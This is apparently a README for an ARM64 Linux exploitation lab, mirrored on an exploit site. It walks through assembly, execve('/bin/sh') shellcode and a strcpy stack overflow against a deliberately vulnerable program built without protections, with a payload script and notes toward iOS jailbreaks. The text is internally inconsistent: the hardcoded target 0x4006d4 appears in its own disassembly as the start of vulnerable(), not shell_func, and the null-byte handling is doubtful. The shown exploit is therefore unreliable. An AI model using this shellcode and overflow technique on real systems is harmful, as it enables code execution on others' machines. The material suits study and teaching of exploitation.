## https://sploitus.com/exploit?id=456FEB2E-04AF-592E-8175-BACF1C057D59
# ARM64 Buffer Overflow Exploit Demo
A from-scratch demonstration of ARM64 exploitation techniques, covering raw assembly, stack layout, control flow hijacking, and shellcode development on Linux ARM64.
## Environment
- **Architecture**: ARM64 (AArch64)
- **OS**: Linux (Artix, tested with qemu-aarch64)
- **Tools**: `aarch64-linux-gnu-gcc`, `aarch64-linux-gnu-as`, `qemu-aarch64`, `GDB`
- **Language**: ARM64 assembly, C
## Project Structure
```
arm64-exploit-demo/
โโโ README.md
โโโ shellcode/
โ โโโ hello.s # ARM64 shellcode development
โโโ vulnerable.c # Deliberately vulnerable target program
โโโ exploit.py # Exploit script
```
---
## Part 1 - ARM64 Assembly and Syscalls
Before exploiting anything, I wrote raw ARM64 assembly to understand the architecture from the ground up.
### Key differences from x86
ARM64 is a RISC architecture with fixed 4-byte instructions. Unlike x86, you cannot operate directly on memory - all operations go through registers first (load, compute, store). Syscalls use `svc #0` instead of `int 0x80` or `syscall`, and the syscall number goes in `x8` instead of `rax`.
### Calling convention
Arguments are passed in registers `x0`โ`x5`. The return value lands in `x0`. The link register `x30` holds the return address instead of the stack (for leaf functions).
### Hello World syscall
```asm
.global _start
.text
_start:
mov x0, #1 // stdout
adr x1, msg // pointer to message
mov x2, #13 // length
mov x8, #64 // write syscall
svc #0
mov x0, #0 // exit code
mov x8, #93 // exit syscall
svc #0
.data
msg:
.ascii "Hello World\n"
```
---
## Part 2 - The Link Register and Control Flow
In ARM64, `bl` (branch with link) saves the return address into `x30` rather than pushing it onto the stack. This is the key register for control flow hijacking.
When a function calls another function, it must save `x30` to the stack first - otherwise the outer return address is lost.
### Standard function prologue/epilogue
```asm
outer:
sub sp, sp, #16
stp x29, x30, [sp] // save frame pointer and return address
bl inner
ldp x29, x30, [sp] // restore
add sp, sp, #16
ret
```
`stp` (store pair) and `ldp` (load pair) are the standard way to save two registers at once. You will see these constantly in iOS disassembly.
### Stack alignment
ARM64 requires the stack pointer to always be 16-byte aligned. Even though `x30` is only 8 bytes, you always reserve 16 bytes - pairing `x29` and `x30` naturally fills this requirement.
### Corrupting x30
If a function fails to save `x30` before calling another function, the return address is lost. In exploitation, this is the primitive you use to redirect execution:
```asm
ldr x30, =evil_func // overwrite return address
ret // jump to attacker-controlled code
```
---
## Part 3 - Shellcode
To demonstrate arbitrary code execution I wrote shellcode that spawns `/bin/sh` using a raw `execve` syscall. Raw syscalls are preferred over libc wrappers in shellcode because they have no library dependencies and work in any process.
```asm
shell_func:
adr x0, binsh // pointer to "/bin/sh"
mov x1, #0 // argv = NULL
mov x2, #0 // envp = NULL
mov x8, #221 // execve syscall number (ARM64 Linux)
svc #0
.data
binsh:
.ascii "/bin/sh\0"
```
The `execve` syscall replaces the current process image with `/bin/sh`. On success it never returns.
---
## Part 4 - Buffer Overflow Exploit
### The vulnerability
`vulnerable.c` contains a classic stack buffer overflow via `strcpy`, which performs no bounds checking:
```c
void vulnerable(char *input) {
char buffer[64];
strcpy(buffer, input); // no bounds check
printf("Input was: %s\n", buffer);
}
```
### Compile with protections disabled
```bash
aarch64-linux-gnu-gcc -o vuln vulnerable.c \
-fno-stack-protector \
-no-pie \
-z execstack \
-static
```
### Finding the offset
Disassembly of `vulnerable()` reveals the stack layout:
```asm
4006d4: stp x29, x30, [sp, #-96]! // allocate 96 bytes, save x29/x30 at top
4006e0: add x0, sp, #0x20 // buffer starts at sp+32
```
Stack layout:
```
sp+0: saved x29 (8 bytes)
sp+8: saved x30 (8 bytes) โ target
sp+16: unused (8 bytes)
sp+24: input ptr (8 bytes)
sp+32: buffer (64 bytes) โ overflow starts here
```
I confirmed the offset using GDB with a pattern payload of A's, B's, C's, and D's. When x30 contained `0x4343434343434343` (C's), the offset to x30 was confirmed as **72 bytes**.
```
64 bytes โ fill buffer
8 bytes โ overwrite saved x29
8 bytes โ overwrite saved x30 โ we control execution from here
```
### Exploit
```python
import struct
padding = b"A" * 72
target = struct.pack("<Q", 0x4006d4) # address of shell_func (little endian)
payload = padding + target
```
### Result
```
$ python3 exploit.py | xargs qemu-aarch64 ./vuln
Program started
Input was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
bash: /.cargo/env: No such file or directory # harmless shell startup error
$ whoami
user
```
Execution was successfully redirected from `vulnerable()` to `shell_func`, which spawned `/bin/sh`.
---
## Mitigations bypassed
| Mitigation | Status | Notes |
|------------|--------|-------|
| Stack canaries | Disabled | `-fno-stack-protector` |
| ASLR/PIE | Disabled | `-no-pie` |
| NX (non-executable stack) | Disabled | `-z execstack` |
| PAC | Not present | Linux userspace, not iOS |
---
## What this maps to in iOS exploitation
This demo covers the foundational primitive used in real iOS jailbreaks. The differences in a real iOS target are:
- **ASLR** is always enabled - requires an info leak to find target addresses
- **Stack canaries** are present - require a bypass or a use-after-free instead of a simple overflow
- **PAC (Pointer Authentication Codes)** - Apple signs `x30` cryptographically before storing it; bypassing PAC is currently the hardest part of iOS exploitation
- **Sandbox** - code execution alone is not enough; a sandbox escape is needed
- **Kernel exploit** - a full jailbreak requires kernel-level privilege escalation on top of all of the above
---
## Limitations and real world considerations
### Null bytes in the payload
The target address `0x4006d4` contains null bytes when packed into 8 bytes:
```
0x4006d4 โ \xd4\x06\x40\x00\x00\x00\x00\x00
```
This exploit only works because the null bytes fall at the end of the address and `strcpy` had already finished copying before truncating. In a real exploit this would be a critical problem - `strcpy` stops at the first null byte, so any address containing `\x00` mid-payload would truncate the overflow and prevent x30 from being overwritten correctly.
Real exploits handle this in several ways:
- **Choose a target address with no null bytes** - find a gadget or function at a high address like `0xdeadbeef` that naturally contains no null bytes
- **Encode the payload** - XOR the address with a known key, write a decoder stub that runs first and reconstructs the real address at runtime
- **Use a different vulnerability** - `read()` and `memcpy()` are not null-byte sensitive unlike string functions, so a vulnerability using those functions avoids the problem entirely
- **Alphanumeric shellcode** - constrain the entire payload to printable ASCII characters, avoiding null bytes and other bad characters entirely
### Hardcoded address
The address of `shell_func` (`0x4006d4`) is hardcoded in the exploit. This only works because ASLR is disabled. With ASLR enabled the binary loads at a random base address every run, so the absolute address of `shell_func` changes each time. Defeating ASLR requires finding an information leak - a vulnerability that lets you read a pointer from the process's memory, calculate the base address from it, and then compute the correct runtime address of your target.
---
## References
- [ARM Architecture Reference Manual](https://developer.arm.com/documentation/ddi0487/latest)
- [Linux ARM64 syscall table](https://arm64.syscall.sh)
- [Siguza's iOS kernel exploit writeups](https://siguza.github.io)
- [Google Project Zero blog](https://googleprojectzero.blogspot.com)
- [phrack.org](http://phrack.org)